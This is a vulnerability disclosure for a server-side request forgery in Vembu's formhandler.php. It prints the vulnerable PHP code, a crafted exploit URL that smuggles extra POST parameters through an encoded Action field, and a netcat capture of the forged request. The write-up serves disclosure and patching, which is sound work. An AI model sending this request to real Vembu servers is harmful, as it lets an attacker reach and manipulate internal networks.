Advisory

Upgrade to the latest version of Vembu; https://www.vembu.com/downloads

Technical details

It is possible to craft a request to the server allowing an attacker to trick the Vembu server in forwarding this request as his own. A.K.A. a Server Side Request forgery or SSRF. Allowing an attacker for example to access the internal network that the Vembu server is connected to.

In the screenshot below we request apache.org SSRF to Apache.org

In the case of the Vembu server we can send the following request; http://target:6060/api/tutorial/formhandler.php?ServerName=SOMEINTERNALSERVER&Action=action%26foo%3dbar&PortNo=80%2f?id=z. The server will send a request to SOMEINTERNALSERVER we can also send POST request parameters by setting Action=action%26foo%3dbar.

So whats happening, below is the code used in api/tutorial/formhandler.php

<?php
$userName = $_REQUEST['UserName'];
$sigOne = $_REQUEST['Signature1'];
$sigTwo = $_REQUEST['Signature2'];
$loginType = $_REQUEST['SignatureVersion'];
$loginTime = $_REQUEST['LoginTime'];
$sessID = $_REQUEST['sessionID'];
$machineName = $_REQUEST['ServerName'];
$portNo = $_REQUEST['PortNo'];
$usrRequest = $_REQUEST['Action'];
$resName = $_REQUEST['ResellerName'];
$custName = $_REQUEST['CustomerName'];
$clientName = $_REQUEST['ClientName'];
$backupLocation = $_REQUEST['StorageLocation'];
$spaceAllotted = $_REQUEST['StorageAllotted'];
$activStatus = $_REQUEST['ActivationStatus'];
$autoAuthStatus = $_REQUEST['AutoAuthorizationStatus'];
$trialStatus = $_REQUEST['TrialStatus'];
$authPassword = $_REQUEST['AuthorizationPassword'];

$url = 'http://'.$machineName.':'.$portNo.'/sgwebservice.php';
$myArray = array("UserName"=>$userName, "Signature1"=>$sigOne, "Signature2"=>$sigTwo, "SignatureVersion"=>$loginType, "LoginTime"=>$loginTime, "sessionID"=>$sessID, "MachineName"=>$machineName, "Action"=>$usrRequest);
$toAppend = array();

switch($usrRequest)
{
	case "AuthenticateUser" :
		break;
	case "SignupReseller" :
		$toAppend = array("ResellerName"=>$resName, "StorageLocation"=>$backupLocation,  "StorageAllotted"=>$spaceAllotted, "ActivationStatus"=>$activStatus, "AutoAuthorizationStatus"=>$autoAuthStatus, "TrialStatus"=>$trialStatus);
		$url = 'http://'.$machineName.':'.$portNo.'/api/reseller.sgp';
		break;
	case "SignupCustomer" :
		$toAppend = array("CustomerName"=>$custName, "ResellerName"=>$resName, "StorageLocation"=>$backupLocation, "StorageAllotted"=>$spaceAllotted, "ActivationStatus"=>$activStatus, "AutoAuthorizationStatus"=>$autoAuthStatus, "TrialStatus"=>$trialStatus);
		$url = 'http://'.$machineName.':'.$portNo.'/api/customer.sgp';
		break;
	case "SignupClient" :
		$toAppend = array("ClientName"=>$clientName, "CustomerName"=>$custName, "StorageLocation"=>$backupLocation, "StorageAllotted"=>$spaceAllotted, "ActivationStatus"=>$activStatus, "AutoAuthorizationStatus"=>$autoAuthStatus, "TrialStatus"=>$trialStatus, "AuthorizationPassword"=>$authPassword);
		$url = 'http://'.$machineName.':'.$portNo.'/api/client.sgp';
		break;
	case "ActivateCustomer" :
		$toAppend = array("CustomerName"=>$custName);
		$url = 'http://'.$machineName.':'.$portNo.'/api/customer.sgp';
		break;
	case "DeActivateCustomer" :
		$toAppend = array("CustomerName"=>$custName);
		$url = 'http://'.$machineName.':'.$portNo.'/api/customer.sgp';
		break;
	case "ActivateClient" :
		$toAppend = array("ClientName"=>$clientName);
		$url = 'http://'.$machineName.':'.$portNo.'/api/client.sgp';
		break;
	case "DeActivateClient" :
		$toAppend = array("ClientName"=>$clientName);
		$url = 'http://'.$machineName.':'.$portNo.'/api/client.sgp';
		break;
}

$newArray = array_merge($myArray, $toAppend);

/* Generating PostFields */
function GeneratePostFields($KeyValuePair=array())
{
	$toRet = '';
	foreach ($KeyValuePair as $k => $v) {
		$toRet = $toRet."&".$k."=".$v;
	}
	$toRet = substr($toRet, 1);
	return $toRet;
}

$postFields =  GeneratePostFields($newArray);
//echo $postFields . '<br>';

/* Curl Handling */
$curl_handle=curl_init();
curl_setopt($curl_handle,CURLOPT_URL,$url);
curl_setopt($curl_handle, CURLOPT_POSTFIELDS,$postFields);
curl_setopt($curl_handle,CURLOPT_RETURNTRANSFER,1);

$response = curl_exec($curl_handle);

if(curl_errno($curl_handle)){
	print curl_error($curl_handle);
}

curl_close($curl_handle);

echo $response;
?>

We only need a couple of parameters,

  • ServerName
  • PortNo
  • Action

These are converted to:

$machineName = $_REQUEST['ServerName'];
$portNo = $_REQUEST['PortNo'];
$usrRequest = $_REQUEST['Action'];

these variables end up in

$url = 'http://'.$machineName.':'.$portNo.'/sgwebservice.php';

and

parameter $usrRequest is placed in an array as "Action"=>$usrRequest:

$myArray = array("UserName"=>$userName, "Signature1"=>$sigOne, "Signature2"=>$sigTwo, "SignatureVersion"=>$loginType, "LoginTime"=>$loginTime, "sessionID"=>$sessID, "MachineName"=>$machineName, "Action"=>$usrRequest);

Now the "Action"=>$usrRequest contains an url encoded paramaters %26foo%3dbar (&foo=bar)

If we follow the code the cases in switch($usrRequest) are never hit, so we can continue to $newArray = array_merge($myArray, $toAppend); both arrays are merged but $toAppend is empty, so $newArray is still $myArray.

Following the code $postFields = GeneratePostFields($newArray); calls the function GeneratePostFields, the function loops through every key value pair (foo=bar) and returned as a concatenated parameters and placed in $postFields.

Following the code flow, we end up in the Curl Handling block: curl_setopt($curl_handle,CURLOPT_URL,$url); contains our $url curl_setopt($curl_handle, CURLOPT_POSTFIELDS,$postFields); contains our $postFields

This gets executed by $response = curl_exec($curl_handle); and finaly the response is printed to screen by echo $response;

Because the Action parameter contains url encoded “extra” parameters ( %26foo%3dbar ) these are being processed in $postFields = GeneratePostFields($newArray);

resulting in the POST request below, where we can make the server send a POST request where we control the parameters, to any internal and external system.

root@5a1a9ca3e0e9:/home/vembubdr/Vembu/VembuBDR/htmlgui/api/tutorial# nc -vlp 80
Listening on 0.0.0.0 80
Connection received on localhost 46024
  
POST /?id=z/sgwebservice.php HTTP/1.1
Host: localhost
Accept: */*
Content-Length: 117
Content-Type: application/x-www-form-urlencoded

UserName=&Signature1=&Signature2=&SignatureVersion=&LoginTime=&sessionID=&MachineName=localhost&Action=action&foo=bar